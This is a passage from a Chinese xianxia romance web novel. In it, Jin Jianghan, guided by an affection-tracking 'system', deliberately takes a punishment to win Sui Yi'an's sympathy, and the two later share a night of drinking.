“汤药苦口,我给你做了些药膳,是好吃的,你快吃了。”
岁忆谙看向桌上,一盅荷叶冬瓜汤,还有一碗白粥,里头放了些药材,看起来不好吃。
岁忆谙凑近闻了闻,然后拿起汤勺舀了一勺冬瓜汤,清甜爽口,而她对药粥毫无食欲。
喝汤喝到一半,靳江浛伸手虚掩上盅口,岁忆谙抬眸看他,眼中满是不解。
“再喝就要喝饱了,一肚子水,还是吃点粥吧。”靳江浛柔声解释,他将汤拿开,把药粥往前挪。
岁忆谙的视线落在药粥上,她拿着勺子在药粥里轻轻搅动,白花花的粥中掺着枸杞和百合瓣,她问:“好吃吗?”
靳江浛闻言失笑,他盯着岁忆谙浅棕色的眸子反问了一句:“我怎么会把不好吃的东西端到你面前呢?”
【叮!】
【攻略对象岁忆谙对您的好感度上升至百分之六十六。】
靳江浛一听,继续说:“等到你病彻底好了之后,我们再回凌仙宗。”
岁忆谙吃了一口粥,这粥与普通的白粥不同,味道不重,能说是没有味道,但就是能让人越吃越上瘾,不过她只吃了七八口便放下。
“怎么不吃了?”
“饱了。”岁忆谙放下勺子,又说,“我头还有点晕,你先回去吧,我要再去睡儿。”
靳江浛提议:“先沐浴吧,我让人去准备沐浴用的水。”
“嗯。”岁忆谙点头,她出了一身的汗,身上黏糊糊的,好好洗个澡也不错。
沐浴完后,岁忆谙准备上榻,咚咚咚的敲门声响起,门外站的是靳江浛。
岁忆谙万分疑惑,以往的靳江浛十次有九次半都不敲门进来,这次怎么敲门了?
“你沐浴完了?”靳江浛垂下眼眸,看着地下问。
岁忆谙困惑:“嗯,你怎么来了?”
宵夜也吃了,狼妖也被抓了,靳江浛怎么来了?
话落,靳江浛才抬头看向岁忆谙,他语气沙哑,还有些结巴:“虽然狼妖已擒,但你的病还没有好,我来照顾你。”
87. IF假如是反派攻略(八)
岁忆谙听后双手环胸,慵懒地倚靠在门框边,直视着靳江浛的眼睛,说:“你还要睡在我房里?”
“…………嗯。”靳江浛被岁忆谙看得有些羞涩,他点头。
“进来吧。”
岁忆谙转身进屋,靳江浛跟了上去,然后轻轻将门关上。
地上铺了被褥,靳江浛躺在地上侧头看向床榻,眼中满是哀怨,前几日岁忆谙都没有放下纱帐,今日怎么放下了?搞得他都看不见人了。
靳江浛眼珠子一转,施法将关得严严实实的窗户打开了条缝。
微凉的夜风悄然渗入,纱帐轻轻扬起,靳江浛只看见了岁忆谙的背影。
不到两秒,纱帐再次落下。
凉风袭来,纱帐再次飘起。
靳江浛就这么一直看着,看了将近一个时辰,岁忆谙也一直保持着那个姿势。
只是一个普通的背影,靳江浛看得十分入迷,他不烦,风倒是厌烦了。
纱帐随着风停而停,靳江浛回神,正要施法让窗户开得再大开些时,床榻传来响动,他吓得急忙闭上眼睛装睡。
岁忆谙似乎翻了个身,靳江浛等了好一会儿,直到彻底没了动静他才偷偷睁开眼。
睁眼的瞬间,风又起,纱帐再次浮动,靳江浛侧目看去,原本躺在床榻上的岁忆谙竟然不见了!
靳江浛心中一惊,刚坐起来,就见一只纤纤素手撩开了纱帐,月光透进,他先是看见了浅棕色的眼睛。
岁忆谙早就坐了起来,她右手撩着纱帐,只露出半张脸和半边身子,左手则撑在榻上,墨发随着身子前倾而垂落至胸前。
她朝靳江浛问:“你在看什么?”
靳江浛愣了一下,小声说:“在看谙。”
“什么?”岁忆谙以为自己听错了。
“在看你。”靳江浛的声量大了些,一点都不见心虚,语气也理直气壮了。
这让岁忆谙不知该说些什么,靳江浛的视线太过炙热,她实在是受不了。
两人默默对视,气氛僵持不下,靳江浛的眼睛一眨不眨地盯着岁忆谙,他不肯移开视线。
岁忆谙无奈,她放下纱帐,继续睡觉。
相反,靳江浛没有睡,他睡不着,反正岁忆谙也知晓自己在看她,自己干脆看着好了。
靳江浛坐了一个晚上,也一直在等风。
玲珑岛的日子一晃而过,两人向秦妤蓉辞行,岁忆谙三两日没出门,没想到这次大厅里竟然出现了一只土狗,小小一只,在秦妤蓉脚边跑跑跳跳。
两人回了凌仙宗,当晚,靳江浛照常在膳厅准备夜宵,零零壹忍不住道:【宿主,岁忆谙对您的好感度一直停留在百分之六十六,您要努把力了。】
靳江浛不慌不忙道:“都百分之六十六了,急什么?”
【宿主,百分之六十六就证明岁忆谙并不爱你,只是把你当作很好的朋友而已。】
靳江浛停下手中的动作,他惊呼:“什么?!这还不爱?”
“她竟然不爱我…………”靳江浛喃喃自语,声音轻得几乎听不见,他望着锅中沸腾的鸡汤,眼眸幽深。
卧房中,岁忆谙像往常一样等待着夜宵,她坐在桌前梳头,这一等就是半个时辰。
子时快要到了,靳江浛怎么还不来,岁忆谙忧心忡忡。
岁忆谙梳了一个时辰的头发,她放下手中的木梳,披上外衫,一打开房门就听见外面吵吵嚷嚷的。
弟子卧房隔音很好,外头吵得像菜市场,岁忆谙在里头是一点儿都没听见,她偷摸走到人群中听着。
“有一个男弟子私闯膳厅被发现了,长老说要打十棍。”
“去哪儿不好,偏偏要去膳厅,真是饿得慌。”
“十棍子下去,起码十天半个月不能动弹。”
“没想到竟然还有人会因为私闯膳厅被罚,真是奇葩一个。”
听到这儿的岁忆谙心中大惊,私闯膳厅的男弟子不会是靳江浛吧?他也没来送宵夜。
一想到这儿,岁忆谙打算出去找他,还没踏出弟子住处的大门,金萱就将她拦了下来。
“岁师妹。”
岁忆谙只能停下脚步,低声道:“金师姐。”
金萱直问:“你要去找靳江浛?”
岁忆谙震惊地看了金萱一眼,她没想到金萱知晓她的意图。
金萱见岁忆谙低头不说话,心下了然,“你去找他做什么?”
“毕竟是同日进的宗门…………”岁忆谙眼中是掩盖不住的担忧,更何况靳江浛是为了给她做宵夜才被被抓的。
金萱叹气:“你是进不去男弟子卧房的,我会让白师兄去看他,届时你问问他靳江浛的情况就好了。”
金萱都这么说了,岁忆谙只能应下:“多谢金师姐。”
“早些休息。”金萱拍了拍岁忆谙的肩。
当岁忆谙回到卧房后,就发现桌上放着把黑石长剑,看样子像是靳江浛一直拿着的那把。
“你是……岁岁?”岁忆谙想起了黑石长剑的名字,当初靳江浛取岁岁二字的时候,还被她揍了一顿。
“你怎么来了?”
就在岁忆谙疑惑之际,黑石长剑突然飞至半空,然后飘到她的手边,她有些疑惑,试探性地伸出手握上剑柄。
刚握上的那一个瞬间,黑石的冰凉渗入掌心,还没回过神来,岁忆谙就发现自己出现在一间陌生的卧房内,卧房布局与她的卧房一样,只是没有纱帐。
“谙?”
右侧传来靳江浛的声音,岁忆谙侧头看去,靳江浛正趴在床榻上,上半身没穿衣服,背部布满青紫。
“谙,你怎么来了?”
靳江浛虽这般说着,但话里一点儿惊诧的语气都没有,见岁忆谙一直盯着自己背看,他耳根子莫名红了。
“别看。”靳江浛见到岁忆谙的那一瞬有些慌张,但他却没有半点儿要遮掩的举动,只是趴在那儿一动不动。
岁忆谙走到榻边,语气埋怨又心疼:“你不是魔族吗?怎么会被抓住?”
靳江浛垂眸道:“熬汤熬得太入迷,等反应过来时,已经被看见脸了。”
“你痛不痛啊?”岁忆谙轻声问道,她附身凑近,靳江浛的背上有十道青紫痕迹,看上去惨不忍睹,她忍不住上手抚摸,紧张得指尖都在发颤。
“不痛,一点儿都不痛。”为了痛得更加真实,靳江浛没有用魔力屏蔽痛觉,他将放在床头柜上的铜盆递给岁忆谙,铜盆沿搭着一条帕巾,盆里放着冰块。
“你能帮我敷吗?我够不到。”
“好。”岁忆谙点头答应下来,压根就没有思考冰块是从哪儿来的。
岁忆谙挑了几块小的用帕巾包上,然后轻轻贴在靳江浛背部的淤青上。
冰凉的触感让靳江浛不自觉地僵了僵身子,冰块倒是缓解了背部的疼痛。
岁忆谙坐在床沿,她的动作很轻柔,被冰水浸湿的帕巾一点一点地贴着淤青滑动,留下一片水渍。
冰快化了就换,帕巾被浸湿了就拧干,一直到所有冰块都化成水。
“怎么样?好些了吗?”
“好多了。”靳江浛哑声说着,对他来说,今日这十棍子没白挨。
“对不起,没能让你吃到今天的夜宵。”
岁忆谙怨道:“你都被打成这样了,还说什么夜宵啊。”
就在靳江浛想要开口时,门处传来了白英空的声音。
“靳师弟,你可有在睡觉?”
岁忆谙诧异:“你没关门?!”
“我下不来床。”靳江浛淡淡道。
外头的白英空还在询问,岁忆谙四下张望,卧房内没有能藏身的地方,她将目光转向黑石长剑,她握着剑说:“岁岁,快带我回去。”
黑石长剑没有任何动静。
“怎么不听话了?”岁忆谙蹙眉。
靳江浛眼中满是笑意,他悄悄施法,隐去了黑石长剑与岁忆谙的身影。
一直没听见回话的白英空走进卧房,见到床榻上的靳江浛后松了口气,靳江浛一直不回话,他还以为出了什么事情。
“师弟。”
靳江浛问:“白师兄,你怎么来了?”
“我从医馆拿了化瘀的药给你。”
白英空从袖中拿出一个琉璃瓶,本想着帮他上药,却意外瞥见铜盆里早已融化成水的冰,以及感受到了房内第三人的气息。
白英空不着痕迹地看了看气息来源,并未说些什么,只是将琉璃瓶放在床头柜,他叮嘱道:“不要揉,倒在淤青处轻轻抹开即可。”
“多谢师兄。”
见靳江浛有些狼狈地趴在床榻上,白英空忍不住说:“靳师弟,你若是饿了跟我说一声便好,怎么能擅自进入膳厅呢?难怪在膳厅做饭的龙伯总说少东西,我们都以为是他记错了。”
“只要你认个错,就不用挨这十棍子,你就是犟。”
靳江浛道:“饿了就得吃饭,这有何错?总不能饿死吧。”
“你可以这么说,但是你不能当着石长老的面这么说。”要是靳江浛求个绕的话,也不用被罚,偏偏他还要顶嘴。
靳江浛懒得搭理白英空,他要不这么说,怎么挨十棍子?怎么让岁忆谙心软?
白英空又不懂,他也不能跟
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一个不懂的人计较,靳江浛敷衍了几句后,就将人打发走了。
靳江浛施法将门锁上后,岁忆谙和黑石长剑重新出现在眼前。
低低的啜泣声响起,岁忆谙双眼微红,眼泪在眼眶中打转,欲落不落。
【叮!】
【攻略对象岁忆谙对您的好感度上升至百分之六十八。】
靳江浛一愣,问:“怎么哭了?”
“你以后不要去膳厅了。”
岁忆谙声音微颤,她抱着黑石长剑坐上床沿,用一双通红的眼睛看着靳江浛。
靳江浛心脏猛地一跳,他安慰道:“这次是我大意了,下次我小心点就好了,大不了再挨上十棍子。”
听到最后一句,岁忆谙瞪了他一眼,说:“打死你算了。”
靳江浛不怒反笑,他将床头柜上的琉璃瓶塞到岁忆谙手中。
“帮我抹药。”
话落,黑石长剑自觉从岁忆谙怀中退出,岁忆谙顿感无语。
抹完药后,岁忆谙催道:“快让岁岁送我回去。”
夜色浓厚,岁忆谙回到卧房,她坐在桌前,她看着桌上的黑石长剑问:“你怎么不走?”
黑石长剑泛起了淡淡的白光,似乎在回应岁忆谙的话,不到两秒又熄灭了。
“不走就陪我玩吧。”岁忆谙随口道,虽然她也不知晓要玩什么,她用衣袖擦拭着剑柄剑身,将黑石长剑擦得透亮。
另一边,靳江浛卧房内,他正坐在床上喊着黑石长剑的名字。
“岁岁。”
“岁岁?”
喊了半晌,黑石长剑都没有出现,正当靳江浛疑惑时,零零壹提示道:【它在岁忆谙那里。】
靳江浛听后笑了笑:“这个岁岁也真是的,到底谁才是它的主人?”
【宿主,您这一招也不太管用呀,只涨了百分之二的好感度。】
“你懂什么?”靳江浛丝毫不慌,他还有第二个计划。
隔日是岁忆谙独自一人上的课,靳江浛还在养伤,她打算晚上再去看看靳江浛。
只不过岁忆谙还没去,靳江浛就自己来了,这次他没有做夜宵,而是拿着一壶酒和一碟花生米。
“你的伤好了?”岁忆谙看着健步如飞的靳江浛诧异开口。
靳江浛这才想起来自己挨了十棍子,他脸不红心不跳地说:“没有,我来找你喝酒,听说喝酒可以缓解疼痛。”
找岁忆谙喝酒,这就是靳江浛的第二个计划,都说酒后吐真言,同时喝酒也可以壮壮胆量。
只不过一壶酒都要喝完了,两人还在沉默,靳江浛的话也一直哽在喉咙里。
在空间观察的零零壹都无语了,它催促道:【宿主,您怎么还不说话?】
【我说不出来。】靳江浛本想向岁忆谙表白来增加好感度,可他就是说不出口,那样太虚伪了。
【为何说不出来?】零零壹不懂。
【就是说不出来。】靳江浛纠结。
【我有一个法子,您上前抱她。】零零壹提议道。
靳江浛蹙眉,他质疑:【这能行吗?】
零零壹也不管行不行,反正系统册子上就是这么说的,【宿主试试不就知晓了?】
靳江浛看了眼一直在小口喝酒的岁忆谙,心中叹息。
【算了,我还是从心来吧。】
靳江浛深呼吸几下,做好了心理准备后,他问:“谙,你觉得白英空如何?”
岁忆谙双颊泛红,已经有了醉意,她想了想,虽然她不喜欢上课,但白英空也不是非常严厉的老师,相反他还挺好说话的。
她道:“他人挺好的。”
【攻略对象岁忆谙对白英空好感度为:百分之四十五。】
靳江浛一听,追问道:“那楼从南呢?”
“他也挺好的,但感觉怪怪的。”岁忆谙晃了晃脑袋,楼从南是说不出的怪。
【攻略对象岁忆谙对楼从南好感度为:百分之三十。】
听到楼从南降了之后,靳江浛长呼一口气。
“…………那我呢?”靳江浛声音低沉,他直视岁忆谙,目光灼灼。
岁忆谙眼睫颤了颤,视线飘向别处,手指无意识地揪着衣角,结巴道:“你……你也挺好的。”
靳江浛挪到岁忆谙身侧的空位子上,顷刻间,两人之间的距离被拉近,他微微低头,凑近问:“只是挺好吗?”
呼吸洒在岁忆谙的侧脸上,她像是被逼急了,反问道:“那你觉得呢?你觉得你自己怎么样?”
靳江浛一时哑言,他说不出夸赞自己的话,只道:“我………也挺好的。”